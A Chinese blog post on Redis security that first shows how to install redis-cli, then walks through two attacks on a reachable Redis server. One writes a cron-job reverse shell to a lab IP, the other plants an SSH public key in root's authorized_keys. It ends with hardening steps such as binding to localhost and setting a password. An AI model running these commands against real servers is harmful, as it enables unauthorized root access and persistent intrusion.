Redis 数据库安全

前言

  前面说到了Redis数据库的部署,今天继续更一些关于Redix安全方面的内容,redis写入文件,redis登陆 ssh 和相关安全策略等等。

安装redis-cli

  首先,想连接上远程的 redis 数据库,需要安装 redis-cli 

  下载压缩文件,解压并安装

wget https://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd
redis-stable.tar.gz
make

  将src下的redis-cli命令复制到/usr/bin目录下

cp src/redis-cli /usr/bin

  此时可以连接远程数据库。(记得开放端口或者关闭防火墙)

redis写入文件

计划任务反弹shell

  当知道了目标的redis密码之后,便可以使用未授权的方法在其服务器上写入文件,比如一句话木马,计划任务反弹 shell 等等,进行进一步的渗透。

  首先,连接上目标的redis数据库

  写入反弹指令

set fantan "\n\n* * * * * bash -i >& /dev/tcp/192.168.80.131/4444 0>&1\n\n"

  设置写入路径

config set dir /var/spool/cron/

  写入并保存

config set dbfilename root
save

  这时候在目标对应的目录下就生成了这个计划任务

  我们使用nc监听端口

  成功反弹。

  但是这种方法只适用于centos的服务器,我们看一下写入的计划任务。

  通过这种方法写入的计划任务是将redis所有都写入文件,包含了乱码,centos服务器会忽略乱码执行正确的地方,而ubuntu系统则出现乱码一整个都不会再执行了。

写入ssh公钥连接服务器

  使用redis写入文件的方法,甚至可以将自己的ssh公钥写入到目标服务器上,来实现免密码登录。

  生成秘钥对。

ssh-keygen -t rsa

  将生成的公钥保存到文件中

(echo -e "\n\n";cat .ssh/id_rsa.pub;echo -e "\n\n";) > key.txt

  将文件内容存入数据库

cat key.txt |redis-cli -h 192.168.80.136 -x set ssh

  设置写入路径

config set dir /root/.ssh

  设置文件名,并保存

config set dbfilename authorized_keys
save

  此时查看生成的公钥

  使用kali连接,成功实现免密码登录。

相关安全策略

账号登录

  在连接redis数据库时候,尽量不选择使用root用户登录,root权限太高,可以选择新建权限较低的用户来使用数据库,这样数据库被攻击之后,攻击者所获得的也只是低级的用户权限,不能直接进行未授权操作。

拒绝外地访问

  在redis.conf配置文件中,设置绑定127.0.0.1,即只允许本地连接,攻击者无法连接进来(绝对防御,但也会让集群中的其他用户无法使用)。

开始保护模式

  redis 数据库默认开启了保护模式,也可以在配置文件中查看

  保证为yes,即开启模式

修改端口

  redis 默认端口为6379,可以通过修改端口的方式来隐藏数据库。

  端口在配置文件中修改

为数据库设置密码

  redis数据库默认未设置密码,这是很危险的,当服务器在公网时,是很容易被登陆的,可以设置密码来避免被恶意登陆。

  在配置文件中添加requirepass

  重启redis服务

  此时再登陆redis时,不输入密码登陆时无法连通的

  添加authorization认证

  此时才是连接上数据库。

posted @ 2022-02-21 20:37  小小小怪将军  阅读(134)  评论(0编辑  收藏  举报